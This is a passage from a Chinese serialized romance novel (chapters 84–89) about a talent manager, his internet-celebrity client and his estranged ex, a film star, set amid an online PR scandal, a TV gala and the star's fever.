叶幸司也看见了,但没做声。纪繁西还歪在沙发里眼皮子乱颤,进一口气喘两口的,显然已经气得不行,她抿抿嘴也不多话了。 两个人自己找地方坐下来,叶幸司斜着给纪繁西顺背,一抬头正好和叶幸司眼对眼。 他放下水杯起身往外走,去拿湿巾和纸篓。 “让保洁收拾就行了,你过来我开会。”纪繁西说,“或者喊你那个实习生来收拾。” 俞悄蹲地上不紧不慢地拽着湿巾擦地:“你开你的,我能听见。” 要不是怕再给她气个好歹,他高低得阴阳回去:自己发火嚯嚯一地,那么好意思呢,还喊人家来收拾。 破会从大桌开到小桌,终于商量出个章程。 对于蒋雨池喊话公司和纪繁西的部分,高层们的意思很明白,不用跟他在网上费口舌,直接律师函寄回去,一切均属诽谤。 就是需要搞清楚,蒋雨池所谓捏着叶幸司和俞悄的把柄,究竟是什么。 “蒋雨池也发现话题重心全在最后那条上,现在上蹿下跳,评论区里的回复越来越玄乎。我得先弄清楚你俩究竟有没有什么事儿,法务那边才好拟回函。” 纪繁西的话翻译过来说白了,就是把柄的大小,直接影响到公司对话的态度硬还是软。 其实俞悄有什么把柄都无所谓,主要是叶幸司。 “我没什么让他捏的,有过几次口头上的矛盾你都知道,也没什么后台。”俞悄率先解释。 如果是纪繁西亲外甥这条不算的话。 至于叶幸司,俞悄想到几年前那条爆料叶幸司和左槊关系的评论,应该就是这茬。 他一边回忆一边收拾地上的冰淇淋奶油,这玩意半化以后溅射范围太大,有一小坨落在沙发旁,正好在娜诺脚边。 俞悄蹲过去,刚要开口麻烦娜诺往里坐坐,娜诺脚一抬,很自然的摞了个二郎腿,高跟鞋尖差点杵着他下巴。 俞悄的动作顿了顿,纪繁西说话的语速也明显慢了一拍。 “说了等会让保洁来弄,什么位置干什么活儿,不然花钱请来当少奶奶啊?” 纪繁西本来就带火,护起犊子刻薄得厉害,话锋一转就直接指桑骂槐。 俞悄也有点不爽,哪怕真是保洁也得尊重人家的工作,哪有直接朝脸上抬腿的。 可纪繁西这么一说,他就有点起来也不是,继续收拾也不是。 娜诺也回过味儿来了,浑身一僵,翘着条腿要下不下的。 正僵持,一直没说话的叶幸司突然站起来往外走,拍一下娜诺的肩膀示意她朝里坐。 然后他半蹲下来,顺手从俞悄怀里抽了张湿巾,擦掉那块奶油。 熟悉的男士香水随着动作挤压在鼻端,淡淡的,竟然还是过去常喷的那款。 俞悄怔怔神,见娜诺臊着脸更加如坐针毡,他在心里叹口气,抽一张湿巾递过去:“里面还有一点,娜诺姐帮我擦一下。” “哎好!” 娜诺几乎是带着感激接过来,弯腰擦擦那块子虚乌有的“一点”。 营销部主管推门进来,一愣:“这会儿还有心情大扫除呢?” “大扫除……”纪繁西被逗乐了。 “你先别乐,蒋雨池又发微博了,说你当时逼着他爸妈来下跪,这人脸都不要了,三个小时干出十五条热搜。已经有在谈合作方来通知延期了。” 纪繁西弯腰捂着脸,深深地吸了口气:“把我扫除掉得了。” 纪繁西确实得受处分。 “父母下跪”这四个字简直是踩准了所有中国人的命门。 蒋雨池声泪俱下的一发出来,立马引起轩然大波,什么后台不后台的话题全都被压了下去。 原本还勉强算是五五开的风向,一时间全部倒向蒋雨池,公司官博下骂声一片,楼下一堆媒体记者,公关部的电话一个接一个,根本没断过。 事情是因她而起,当时跟蒋雨池解合同的态度太恶劣,手段也太极端,现在对公司的声誉造成这么坏的影响,不管合不合流程,这锅都得她背。 俞悄当时就觉得纪繁西处理欠妥。 可现在看着纪繁西焦头烂额,还在跟叶幸司确认是否被人捏了把柄,又觉得她有点可怜。 不过这都是后话,眼下舆论真闹大了,一张律师函堵嘴的回应就得推翻重新讨论。 在蒋雨池举报微博发出的六个小时后,公司官博正式发表回应——九宫格连图带字,逐条辩驳蒋雨池陈列的种种指控,同时将蒋雨池当年如何屡屡违反合约、带领家属来公司围堵经纪人进行道德绑架、拖欠违约金的行为公之于众,声称会通过法律途径,正式对蒋雨池提起诉讼。 纪繁西转发微博,配了六个字:人在做,天在看。 蒋雨池那边没有回应。 “道德绑架”是个很好用的词儿,和“父母下跪”的议论度不相上下。 虽然依旧质疑声不断,这场闹剧好歹算是暂时平息了。 不过这头压下去,叶幸司和俞悄后台的话题又开始冒头。 俞悄几个小时前就想走,公司被堵得水泄不通,硬是拖到了天黑。 跟他一起被拖着的还有万洋和叶幸司,三个人加一个娜诺,在纪繁西办公司大眼瞪小眼,都默契的不说话。 “行了,都回去吧。”纪繁西满脸倦容地过来通知,“俞悄送一下他俩。” 俞悄屁股刚抬起来一半,反问纪繁西:“谁俩?” “汤姆和杰瑞俩,行吗。”纪繁西瞪他,“门口都是人,娜诺一个小姑娘我怕出事。你带叶幸司和万洋从员工通道走。” 俞悄想说不是有安保吗,但张了张嘴还没发声,叶幸司很配合地率先起身:“嗯。” 这会儿倒是挺听话。 俞悄瞪着他的背影,心里不情不愿。 “我应该没事。”万洋抻个懒腰跟着起来,“我家离得也近,溜达着就回去了。” “不行。”俞悄立马驳回,“你跟我一起,万一被堵住麻烦。” “这么关心我。”万洋笑眯眯地杵他一下。 叶幸司已经走到门口了,戴着口罩没有表情地回过头:“走吧。” 第85章 员工通道也没那么安全,俞悄他们下去的时候看着地面还空荡荡的,刚往车位走几步,几个记者就像从地底长出来一样,举着录像窜到眼前。 安保上去挡人,俞悄第一时间拉开车门,侧身挡在门口,让叶幸司和万洋先坐进去。 “叶幸司对蒋雨池的发声有什么想法吗?” “后台是谁?” “对你经纪人纪繁西的发声怎么看?” “蒋雨池父母来下跪是真的吗?” “俞悄听到有关你的传言了吗?” …… 七嘴八舌的提问伴着长枪短炮的摄像一起杵到脸上,俞悄关好车门,对着这些人微微鞠躬,表示今天没有媒体问答的安排,利索地坐进车里,扬长而去。 万洋家离得最近,但是俞悄没有直接送他,他在路上兜了几大圈,以防有媒体尾随。 在立交桥上转了三四十分钟,他先问清楚娜诺家的街道,把女生送回去,然后看看地图,重新设置定位。 叶幸司在后排开了口:“先送他。” 俞悄没接话,万洋只好笑笑:“没事叶老师,我不急,先送您回去休息吧。” 叶幸司说:“我有话和你说。” 他没说明白,但俞悄和万洋都知道他要跟谁说话。 “私事没什么说的。”俞悄隔着挡风玻璃正视前方,平静地道,“公事和公司说。” “我和你的事。”叶幸司说。 “我和你没有事。” 车里安静下来,万洋抓抓脑袋蜷向车窗,无比认真地玩手机。 过了好几秒,叶幸司重新开口:“那停车吧。” 俞悄方向盘一打,靠边踩下刹车,叶幸司推开车门就往外迈。 一辆电驴子贴着车门擦过去,回头怒骂“眼瞎啊”。 万洋忙把叶幸司拉回来,欠身将车门也拽好,“哎哟”一声。 “突然有点闹肚子,下午冰吃多了。”他拍拍驾驶座的靠椅,“小悄哥先送我回去吧,憋不住了。” 一个无比拙劣的借口,可车里没人戳穿。 俞悄握着方向盘的手紧了又紧,最后眼皮一耷拉,调头朝万洋家开过去。 折腾一大圈,又回到公司附近。 俞悄熟门熟路地把车开进万洋家小区,从一号车库下去,兜了大半圈,停在三号车库的区域,才将车停下。 “上去吧。”他交代万洋,“到家给我发个消息。” “坐个电梯的事儿。” 万洋跟叶幸司道别,下车后敲敲驾驶座的车窗,拢着嘴跟俞悄对口型:有事跟我说。 “嗯。”俞悄点点头。 “走了叶老师。”万洋又歪头朝后座摆摆手。 俞悄看着万洋消失在电梯口,没动。又等两分钟,收到万洋的微信,他才将车开出去。 叶幸司从被万洋拉回来,一直没说话,这会儿才低声又突然地评价了句:“现在很细心。” “嗯?”俞悄朝后视镜望一眼,对上叶幸司的目光。 他确实没听太清,车里只剩他和叶幸司,他没关车窗。 “对那个小孩。”叶幸司说。 “万洋不错,你没必要总看不惯他。”俞悄将视线收回来,“跟你打招呼老爱答不理的。” “你很介意?”叶幸司仍通过后视镜看他。 “我看不惯。”俞悄直言,“别人不知道你和我的事,看你这样会觉得你拿乔。” “我和你什么事,”叶幸司反问,“不是没有事吗。” 这人从以前就这样。 俞悄皱皱眉,下午的烦躁感又冒出来了。 不直面回答问题,永远用自己的逻辑,自以为是地将问题打回去。 以前他就是脑子不清醒,掉入叶幸司模棱两可的逻辑陷阱,才搞得那么难堪,一个人做主谈上恋爱了。 可现在搞这种吃醋一样的对话,有什么意义呢。 俞悄没再接话,将车速提到限速区间内的最高码,把叶幸司送到他家小区所在的路口。 “到了,下车吧。” 等了一会儿,俞悄不耐烦地回过头,叶幸司在后排稳稳靠着看他,没有要下车的意思。 “送他送到电梯口,把我扔街上。”他语气淡淡的,“不怕我家门口有狗仔吗。” 在家门口被堵住确实麻烦,这一路也白折腾了。 俞悄认命地叹口气,把车开进去。 三年多没来过,叶幸司家的门牌号却像编码一样输入在记忆里,俞悄根本不需要思考,方向盘有着自己的意识,开到该停的地方。 高档小区,很安全,没有不该出现的人。 “到了。”俞悄再一次催促,“下车吧。” “想过我吗。”叶幸司突然问。 俞悄一愣。 “我一直挺,”叶幸司停顿了下,“想你的。” 叶幸司是个很能藏的人。 不包括备忘录事件,在那件事发生之前,叶幸司也是个很少主动表达情绪的人。 俞悄也不催着赶人下车了,今天很疲惫,他也窝进车座里。 “如果今天没遇见,你会跟我说这些吗。” 回忆在车厢有限的空间里汹涌的铺张,还好车窗提前打开了,俞悄将胳膊撑在上面,用手背杵着脸,歪着脖子朝后视镜里望。 车库的顶灯斜进车里,将光线一切为二,叶幸司的区域正好在暗处。 他和俞悄通过小小的后视镜对视,没说话。 “有些事吧,过去就是过去了。” 俞悄挠挠脸。 “今天能和你打招呼,是因为我已经不在乎了,放下看开了,或者说直接一点,对你无感了。” “和想不想没什么关系。” “我不知道为什么会给你这种,你趁机说一句想我,好像就能影响到我什么的错觉。” “也可能是我自以为是了,说不定只是你戏瘾又犯了。” “主要我觉得,想一个人是忍不住的。能忍住,那就没什么好想的。” 就像当年你从半个公司的人面前离席,去把我抓到餐厅的单间里问话;还有各自在不同的节目里,你起床化着妆,也会给我打个视频过来。 俞悄从已经分辨不出真假的回忆里摘出一小轱辘,他愿意相信这两次控制不住的联系里,藏着叶幸司一丁点真心。 “我找过你。”叶幸司的声音有点沙,“你没来。” 俞悄听得有点迷糊,应该是那三十二条未读消息,他没看就把人删掉了。 但现在说这些也没意义。 “如果不是怕狗仔,今天我也不会把你送过来。” 他告诉叶幸司。 “都过去了。我现在只想回家休息,你下车吧。” 第86章 蒋雨池事件在网上着实热闹了一阵子,不过已经从他个人对前公司的指控,变成了网友和媒体的狂欢。 在公司做出回应后,双方在明面上都没再对垒。 公司当然是多一事不如少一事,法务部干法务部的活儿,营销部干营销部的活儿。而蒋雨池暴涨近千万粉,将先前几年沉寂的数据一把找了回来。 然后,他开始疯狂带货。 直播间里不管弹幕如何刷,对于前公司的事儿,他都装聋作哑,只字不提。 大部分网友也看出来端倪了:这小子就是想整钱。 还有人揣测,双方私底下估计已经谈好条件,和平解决了,不然蒋雨池不会把嘴闭这么死,放过这个炒作的机会。 第一条有眼睛的都能看出来。 至于第二条,俞悄也只捉到了一点风声:公司确实和蒋雨池谈条件了,但是没谈拢,因为蒋雨池狮子大开口,提了个十分不要脸的天价,声称自己手里有大料。 大料他不说,天价公司不会掏,谈判陷入僵持,反倒形成了目前看似和平的局面。 多大的料算大呢。 俞悄打着电话急匆匆从公司往外走,对这些有一耳朵听一耳朵的八卦不感兴趣。 他从头到尾对这件事都没怎么上心,叶幸司所谓的大料也就是和左槊的关系,叶幸司现在如日中天,这料爆出去对他而言是好事坏事还不一定呢。 现在的俞悄也不是以前那个,听到叶幸司任何一点负面消息,就紧张在意到不得了的俞悄了,那天把叶幸司送回家后他就没再掺和这件事。 娱乐圈不会因为一个人而翻天,公司也不会因为有官司就不运转。 他忙死了。 “堵得厉害吗?一动都动不了?” 俞悄走进电梯按下楼层,听着万洋那边此起彼伏的喇叭声,盯着下降的楼层数字。 “半个多钟没动了。”万洋也很无奈,“我刚还想租个哈喽单车直接骑过去,车都空了。” 拿下手机看眼时间,俞悄皱了皱眉。 今天要去录省电视台的中秋晚会,正好赶上建台五十周年,文化厅下了功夫做排场,省内各行业叫得上名号的人物都请来做节目。 万洋作为互联网新风口的年轻代也收到了邀请函,下午最后一遍走台,几个小时后就要直播了,结果现在被堵在距离录制厅还有四十分钟路程的大桥上,走不了下不来。 俞悄点开地图定位,问他:“最近的地铁口在哪?” 电梯里信号不好,对面一片盲声,走出电梯才听见万洋那边断断续续的声音:“口站……还行,跑下去大概二十分钟。我跑吗?” “跑。”俞悄非常果断,“现在就下去,坐到电视台站,我去出站口等你。” “菲姐呢?”万洋问,“她带着家伙事儿呢。” 菲姐是万洋的化妆师,她那专业化妆箱跟个小冰箱似的,得有二十来斤。 “菲姐跟你一起跑,东西跟车过去,让她别背了。”俞悄有点头大,“你还没化妆?服装呢?” “不是怕花妆嘛。” 万洋头一回参加这种级别的活动,俞悄开会没来及去接他,没想到就出这么多岔子。 “衣服换了。”他说,“我换双鞋跑。” “嗯,跑吧。”俞悄收到电视台那边催人的消息了,他飞快地打着字,边安抚万洋,“实在赶不上也没事,安全第一。” 万洋的节目在中后段,和几个主播一起排了个电台小品。 地铁快一点,算上跑下去的时间,一个小时候应该就能到。 差不多。 俞悄掐好时间,怕堵车也没开车,直接奔着地铁站过去。 往电视台的这条地铁线横穿整个市中心,本来人流量就大,今天临近的几个站口更是人山人海。 俞悄还遇到一个同样赶时间的同行,领着捂得像个偷狗贼的艺人,急匆匆下了地铁就往外跑。 世界就是个巨大的草台班子。 他突然有点想笑,想到这句梗,心情悠闲下来,趴在D出站口的栏杆上给万洋发定位。 “哥!” 万洋有惊无险的赶到了。 他演出服外面套着件冲锋衣,踩着双完全不搭配的跑鞋,头发做了造型没敢戴帽子,口罩兜在下巴上,举起一条胳膊远远地朝俞悄挥手,另一只手里拎着上台要穿的鞋。 菲姐比他更狼狈,她戴眼镜,一条眼镜腿不知道怎么斜到头发里去了。 见到俞悄她长长地舒出口气:“可算把人给你送到了。我的化妆箱到了没?” 化妆箱还在路上堵着,俞悄安慰她没关系,演播厅随便找谁都能借。 “那我不顺手呀。”菲姐有点没着没落的。 化妆顺不顺手都不是大事儿了,更要命的,是两人身后还跟着一小撮举着手机的小粉丝。 “怎么还带应援呢。” 俞悄接过万洋的鞋,把他护在身前走,朝几个粉丝鞠躬表示赶时间,像只护崽的母鸡,横着胳膊扩出一片空间,为他开路。 “没办法,魅力四射。”万洋小声道歉,“不好意思啊小悄哥,给你添麻烦了。” 俞悄拍拍他的背,示意赶紧走。 录制大厅里外热闹得像春运,众星云集,全都急匆匆的在走流程。 还差两个节目就轮到万洋走台,负责接洽他们的执行导演都快急晕了,见到万洋都顾不上打招呼,拉着人就往后台走。 走台很快,俞悄去找了瓶水灌半瓶,拎着万洋的鞋就开始借化妆室。 今天熟人可不少,他们公司扎根在这儿,几乎倾巢出动。 但节目顺序不同,还有一带多的,小小的妆造区乌泱泱都是人头,熟人全都忙得脚踩风火轮,一时间竟然找不到空闲的妆造。 俞悄看了一圈,正要打电话,有人喊他:“小悄!” 竟然是娜诺。 从上次开完会把她送回家,娜诺对俞悄的态度就好了很多,虽然最近没见面,但俞悄这两天发的朋友圈,她都点赞了。 “万洋到了吗?”她从外面端着咖啡进来,在急匆匆的人流里显得格外悠闲,“看你在公司群里说他们堵车了……怎么还拎着鞋?” 俞悄这会儿见到她也眼前一亮,没工夫客气,直接说:“娜诺姐,叶幸司的化妆箱借我们用用。” “快来。”娜诺也不废话,端着咖啡转身朝走廊最深处走。 第87章 叶幸司有个单独的化妆间,虽然很小,可是在这种场合简直就是明着搞特殊待遇。 化妆间里只有两个工作人员,叶幸司去走台了,俞悄把菲姐领过去打招呼道谢,记一下门牌,出去接万洋。 演播厅台前台后都是最乱的时候。 统筹在走廊里扯着嗓子喊号,电视台还安排着好几架摄像机满场录幕后花絮,俞悄站在下场区等万洋,看着台下布置座椅,给主要嘉宾的桌台上摆鲜花和饮品。 万洋刚下来,俞悄就看见斜对面的入场口,叶幸司被几个人簇拥着上台,他的节目是唱歌。 “借到了?”万洋跑过来就问,心里也惦记着化妆。 见俞悄点点头,他才真正安心下来:“有你太靠谱了。” 俞悄拉着他就飞快往后台走。 来到化妆间门口,万洋看到门板上贴着“叶幸司化妆间”这几个大字,猛地顿住脚,轻轻“嘶”了一声。 “叶老师啊?”他转转眼珠子,小声问俞悄,“你俩和好了?” “他没在。”俞悄也捏着嗓子,“什么和不和好的,都是同事。” 万洋还想说什么,俞悄一转门把,把他推了进去。 不仅说不上和好,可能还更尴尬了。 俞悄回想起那天送叶幸司回家,在他说完那些话之后,叶幸司一个字都没有再多说,下车就走了。 当时自己小话儿撂得挺潇洒,这会儿他只希望叶幸司慢点回来。 菲姐已经铺开架势了,把万洋往化妆镜前一按就开始干活儿,万洋被糊了一脸的妆前乳,闭着眼喊俞悄,说想喝水。 化妆间里是放了水的,但两瓶都被开了。 “哎,咖啡我没买够。”娜诺客套一下,“这杯给幸司的,你先喝了吧。” “不用,他喝不惯那个。”俞悄笑笑。 他从自己的背包里掏出保温杯,出去找饮水机。 一拉开门,叶幸司站在门外,正要往里进。 他身后跟着个随行录像,正微微笑着回答问题,冷不丁跟俞悄对上视线,愣了愣,然后不着痕迹地朝门板抬抬眼皮,确认自己没进错房间。 “借你的化妆间用用。” 俞悄飞快地轻声说完,朝跟随的两个工作人员笑一下:“咱们饮水机在哪?” 娜诺迎上来简单解释,万洋也从菲姐身后探出头,朝叶幸司打招呼:“叶老师,不影响你吧?” 叶幸司从喉腔里低低地“嗯”了声,也不知道是在回应谁,擦着俞悄的肩膀直接进了化妆间。 俞悄去接了水回来,叶幸司坐在万洋左边的另一张化妆镜前,也在补妆。 大录像机还在,提着简单的问题,等着给他录中秋祝福的专拍。 俞悄轻轻关上门,避开镜头站在万洋右侧,将杯子递过去。 叶幸司叠着腿仰靠在座椅里,两只手交叉,松弛地搁在大腿上,朝杯身上扫了眼。 这是俞悄自己的杯子,用了听多年,以前跟着叶幸司进组的时候,也给他用过。 “水。” 叶幸司突然开口。 万洋呛了一下,偏过脑袋朝地上咳两声,把杯子递还给俞悄。 “哎呀。”菲姐跟个女巫似的,五根手指夹着四根化妆刷,“给他弄个吸管嘛!” 俞悄捋捋他的背,抽了张纸巾弯腰帮他擦下巴上的水珠。 已经入秋了,整个演播厅的冷气打得很大,刚进来不觉得,这会儿坐久了是有点儿冷。俞悄把外套给万洋披上,顺便蹲下来帮他把鞋换好。 娜诺坐在后面的小沙发上玩手机,估计没听见,俞悄又偏头喊她:“娜诺姐。” “要喝水。”另一个助理跟着朝娜诺复述。 “嗯?”娜诺摘下耳机抬头,“不好意思在听公司的语音,不是要喝咖啡吗?” 叶幸司面无表情望着化妆镜:“嗯。” “刚就给你放桌上了。”娜诺起身过来,把咖啡递到叶幸司嘴边。 “放着吧。”叶幸司闭着眼靠回椅子里。 化妆等待候场的时间里,化妆间陆陆续续进来好几批人,电视台的录像、来确认状态的统筹、串门打招呼的其他艺人,还有带着一群工作人员的电视台领导。 有些人叶幸司坐着说话不用动,有些要起身打招呼。 但万洋起身坐下,坐下起身,就没停止过折腾。 俞悄拿着台词陪他一条条背,反复加深印象,跟着不停起坐。 距离上场还有五个节目时,万洋被喊去候场,俞悄催他抓紧去趟卫生间,朝娜诺他们致谢:“麻烦你们了。” 娜诺客气地摆手,叶幸司眼神都没递过来一个。 在下场区盯着万洋毫无差错地念完最后一句台词,鞠躬谢幕,俞悄轻轻呼出一口气,折腾了一天的疲惫感从脚底淹了上来。 可算是圆满完成任务了。 节目表演完,下场后还要录一段备采,俞悄在录制间门口刷着手机看万洋的节目数据,能听到台前叶幸司的节目。 大型晚会的演员表演唱歌,都是假唱,但叶幸司的嗓子唱这种情歌确实合适。 俞悄想起纪繁西以前就说过叶幸司会唱歌,这还是他第一次亲耳听到。 终于从演播厅出来,天已经黑了。 各家的保姆车都提前来等着,俞悄带着万洋找到他们公司的车,上去坐下来就瘫在座椅里一动不动。 “累死我了。”万洋也累得够呛,“进组都没感觉这么折腾。” “等年底各大平台的颁奖晚会更麻烦。”俞悄转转脑袋喊司机,“走吧刘哥。” “等会儿,”司机在车外抽烟,探个脑袋进来,“咱们车今天不够,接上叶幸司一起送你们回去。” 俞悄闭上嘴靠回去。 “哎,”万洋靠过来,贴着俞悄的耳朵小声问,“你说他今天是不是故意的?” “谁?” “叶老师。”万洋挤挤眼,“突然要喝水。” 故不故意不知道,但万洋提起这茬,俞悄把自己的背包拽过来往里一摸:“我的杯子忘拿了。” “还在他化妆间?”万洋坐起来,“我去给你拿。” 他刚起身就打了个喷嚏,俞悄把他拉回来,把自己的外套给他披上。 “还是冻着了。”他叹口气,弯腰下车,“消停坐着吧,再被粉丝截了。” 晚会已经进行到尾声了,除了有特殊安排的嘉宾,演播厅的人少了一半。 叶幸司的化妆间还没收拾,门也没锁,俞悄一眼就看见自己的杯子。 他拿着杯子走出化妆间,叶幸司从备采间出来,两人在同一条走廊的一头一尾,又撞上了。 叶幸司今天一直噜噜个脸,除了下午刚在化妆间门口遇见,他在回答镜头问题时带着笑,后面就没见有过好脸色。 俞悄想了想,没有停下脚步,继续往外走。 即将擦肩而过的那一刻,他手肘猛地一紧,被叶幸司攥住了。 娜诺就在他身后跟着,俞悄没料到能有这一出,有些讶异地抬起眼,叶幸司似乎也是一个本能的动作,微微皱了下眉,但没松手。 “我刚还想着把你的杯子带回去。”娜诺笑盈盈地跟上来,一看两人这架势,很老道地转移了话题,“公司让咱们一车走?” “啊。”俞悄挣挣胳膊,没挣开,叶幸司攥得更紧了。 他有点不舒服,可是当着娜诺的面,走廊外还有人不停来回,也不好撂脸。 “有事吗?”俞悄压着嗓子问叶幸司。 叶幸司却开口交代娜诺:“你先去车里,我有话跟他说。” “你俩聊,我先去趟卫生间。”娜诺一转身溜了。 叶幸司几乎是同时抬腿,把俞悄拽进他化妆间里。 门锁被拍合,肩背被推到门板上,熟悉的画面不是第一次上演,但这次的俞悄没有心动,只有心慌。 “发什么疯?” 他慌乱地朝叶幸司看,头顶就是强大的冷气,舞台上巨大的音乐声隔着门板震动鼓膜。 “这什么地方,你能不能分点场合?” 叶幸司这会儿显然顾不上、也不在意什么场合不场合。 他将俞悄堵在门板上,背着光的眼神比冷气还让人后背发凉。 “给我当助理的时候,肩不能挑手不能提,什么脏活累活都没让你干过。现在当着我的面像狗一样伺候别人,好玩吗?” 刚唱完歌的嗓子有些沙,他就用这副嗓音,冷冷地逼问俞悄。 “伺候”这个词从他口中冒出来,俞悄天灵盖被砸了一下似的。 眼前盯着他的叶幸司衣着光鲜,专门应对舞台打光的妆容浓墨重彩又高贵华丽,像年轻傲慢的国王,从上往下俯视着他,眼角眉梢写满烦躁与刻薄,也丝毫不影响魅力。 可面对这样无懈可击的一张脸,俞悄脑子里突然出现很久之前,那个在破旧的出租屋里系着围裙,给他做番茄炒蛋的人影。 曾经的叶幸司温声提醒他:伺候也不是什么好词,别乱用。 我确实只想你就在我这,俞悄。 去伺候别人这种事你不用想。伺候也不是什么好词,别乱用。 原来从别人嘴里听到“伺候”这种词汇,真的有那么刺耳。 还他妈是狗一样的伺候。 第88章 台前的晚会进行到了尾声,主持人激昂的祝辞接替了喧闹的音乐,后台从空气中开始躁动,是最后大合唱的演员们在准备上台。 俞悄与叶幸司在这样的氛围里僵持着,半天,冷冷地一扯嘴。 “又演上了。”他问叶幸司,“有意思吗?” 这句话带给叶幸司的感受,似乎不亚于俞悄听见“伺候”。 像退潮一般,叶幸司全部的戾气一瞬间退散,时间好像又回到了《塌房二》的那个晚上,他望着不让靠近的俞悄,一点办法也没有。 很久,叶幸司动动嘴角:“还行。还是对着你演有意思。” 俞悄猛地抬手搡开他,拽开化妆间的房门,大步出去了。 万洋在保姆车上刷抖音,他今天坐地铁赶路被拍了下来,好多人发视频,热度最高的作品已经两三万条评论了,标题是“啊啊啊地铁上偶遇上班要迟到的万洋,真的又帅又nice”。 网红出身比起职业艺人的好处,大概就是从骨子里接地气。 视频里人家举着手机问他要去参加活动吗,万洋大方又有些苦恼地笑着回应:“是啊,我好像要迟到了。帮我开美颜了吗?” 拍视频的几个小姑娘笑得镜头乱抖,哄小孩似的哄他:“不开也帅不开也帅。” 评论区一片和气,很多偶遇的人放出照片,都在玩梗,结合刚才的晚会直播,半天功夫给他涨了十来万粉。 万洋自己也录了段视频,利用等俞悄去拿杯子的功夫剪了剪,感觉还没人家路人拍得有意思,有些纠结要不要发。 他截了张图发给俞悄问他的意见,图还没发完,俞悄握着杯子气冲冲地钻到车里,一屁股坐下了。 “跟头毛驴似的。”万洋打量着他的神色,“遇见叶老师了?吵架了?” “你不要管。”俞悄嘴角绷得像条线。 万洋做投降状,笑着摇摇头:“你俩真有意思。” 也只有他这个外人觉得有意思。 二十分钟后,叶幸司带着娜诺上车,和俞悄一样铁青着脸,娜诺飞快地说着什么,他也不接话也不应声,从俞悄身旁目不斜视穿过去,在斜后方落座。 万洋想打招呼都没打上,再看俞悄,坐得板板正正目视前方,像个好看的盲人。 其实俞悄正在暗下决心。 上次和叶幸司有接触是被困在公司迫于无奈,这次是参加活动出现了种种意外,两次都给他烦得不行。 叶幸司到现在依然能一句话就影响他的清晰,这种状态让俞悄非常不爽。 吃屎长教训,他决定以后必须提升自己的专业水准,杜绝此类事件的再次发生。 然而现实却不以他的意志为转移。 一周后的周五傍晚,俞悄刚帮万洋谈了个合同,心情美好地准备下班回家,电梯“叮”一声,外卖员扛出一桶数量庞大的玫瑰在走廊里喊:“俞先生在吗?有你的花签收一下。” 花桶上还拴着两只爱心型的银白气球。 俞悄在公司同事们的起哄声中去签花,对着这桶没有贺卡、送花人保密的玫瑰一头雾水。 不是万洋,不是纪繁西和俞小雨,也不是近期的甲方乙方。 连小蜡和周行东都怀疑上了,打电话去问,小蜡骂他臆想症。 “你都能想到我东哥,想不到你前夫哥?”小蜡觉得这人非常好笑,“故意打电话来秀呢?” 阴阳了半天,他才“哎对”一声,又问:“你和叶幸司和好了?” “神经病。”俞悄也不知道是骂他还是骂叶幸司,胀着脑壳把电话撂了。 纪繁西从办公室出来,看见花“哟”了一声:“谁送的?” “叶幸司送你的。”俞悄把花桶怼她怀里。 纪繁西差点没抱住,心情很好地发表赞美:“这小子还挺有良心。” 送花人到底是不是叶幸司,俞悄到最后也不知道,他没去问。 可是几天后,叶幸司的电话突然主动的打过来了。 那天俞悄在陪万洋拍素材,电话进来他没细看,直接接了。 “我发烧了。”叶幸司的声音很哑,但俞悄还是一耳朵就能听出来。 拿下手机看看来电号码,熟悉的数字,哪怕删了三年,依然像烙在脑子里似的。 他第一反应是直接挂,可下周叶幸司那个古装电影的首映礼就要开了,他还是有些心烦地回了句:“发烧去医院。” “没力气。”叶幸司说,“你来送我。” 你脸呢? 俞悄都不明白他怎么能这么自然的来要求自己,又问:“娜诺呢?” “她一个女生怎么来照顾我。”叶幸司理直气壮又虚弱地咳了一声。 “我也没时间。”俞悄说,“可以帮你联系别的助理。” 那头沉默一会儿,叶幸司回一句不用了,主动把电话挂了。 俞悄瞪着熄屏的手机看一会儿,烦躁地搓了把脸。 “怎么了?”万洋出来找他,手里还举着自拍杆。 “叶幸司发烧了。”俞悄说。 “啊。”万洋稍微一转脑子就猜了个八九十,“真烧假烧,有人管吗?” 没有。 俞悄心情很复杂。 他知道叶幸司,不管这通电话的目的有多不单纯,叶幸司还不至于拿生病来作文章。 那么独的一个人,像示弱一样打电话给自己,也挺…… “那我和你一起去看看呗。” 万洋一句话,打断了俞悄险些升腾而起的怜悯心。 俞悄跟他对视一会儿,眉梢动了动。 叶幸司挂掉电话,将手机扔到一旁,没再给其他人打电话,闭着眼用小臂横压在额头上。 很烫。 烫得他太阳穴发酸,脑仁忽高忽低着旋转,转出来的全都是以前的俞悄。 他感觉自己是清醒的,但却做了个很长的梦,梦里的俞悄叽叽喳喳,围在他身边打转,满嘴都是“叶幸司”。 “……叶幸司?” 胳膊被摘下来的触感,与忽然逼近在耳边的呼唤,让叶幸司猛地睁开眼。 俞悄俯身出现在他床头,用手背探了下他的额头,皱着眉咕哝:“真发烧了。” 叶幸司张张嘴,刚想说话,万洋笑弯弯的眼睛和一根自拍支架,从另一侧床沿探过来。 “今天我们拍一期照顾特殊病人的vlog,哈喽,叶老师。” 叶幸司眼皮微微一颤,翻着眼仁重新闭上。 第89章 “哎,”万洋一愣,抬眼瞅瞅俞悄,“叶老师好像烧晕了。” 气晕了吧。 俞悄心里有数,没说什么,转身去客厅找体温计。 电视柜右边第二格抽屉。 他根据记忆翻箱倒柜,果然看到那个眼熟的小铝箱。 估计没用到过,红十字的外壳仍然显得新崭崭,从箱子到里面的药,都是以前他帮叶幸司布置软装时安排的,位置都没变一下。 电子体温计早没电了,但他往盒底摸了摸,掏出一根三角透明壳包着的水银体温棒。 “还是老东西靠谱。”他甩甩体温计递给万洋,“去给他量量。” 万洋举着他的自拍杆,意味深长地感叹:“跟在自己家似的。” 这眼神在俞悄开叶幸司家密码门锁时,万洋就展示过一次了。 俞悄也没想到叶幸司没改密码。 刚才叶幸司短信不回电话不接,他就试着摁了一下,门“嗡”一声解锁时,他自己都在门口愣了几秒。 药箱里好多东西都过期了,他没接万洋的话,蹲在地上一样样检查收拾。 五分钟后,万洋从卧室里探头:“38度2。” 俞悄起身接过来看,玻璃棒上还带着叶幸司的体温,红色的酒精线停在38度1与38度2的数轴之间。 还烧得不轻。 叶幸司这次发烧是有迹可循的。 已经入秋了,上次参加完省台的晚会,万洋回去也感了场大冒,鼻子轰隆好几天,直播十分钟打了六个喷嚏。 叶幸司估计也中招了,他最近又在跑新电影的宣传,到处飞,听说昨天半夜刚回来,今天就整了这么出病来如山倒。 “去医院吧。”万洋说。 俞悄“嗯”一声,把体温计在药箱里收好,38度肯定得去医院,容易烧出事。 叶幸司从刚才睁眼看到万洋,就闭着眼脸色铁青,一句话不说。 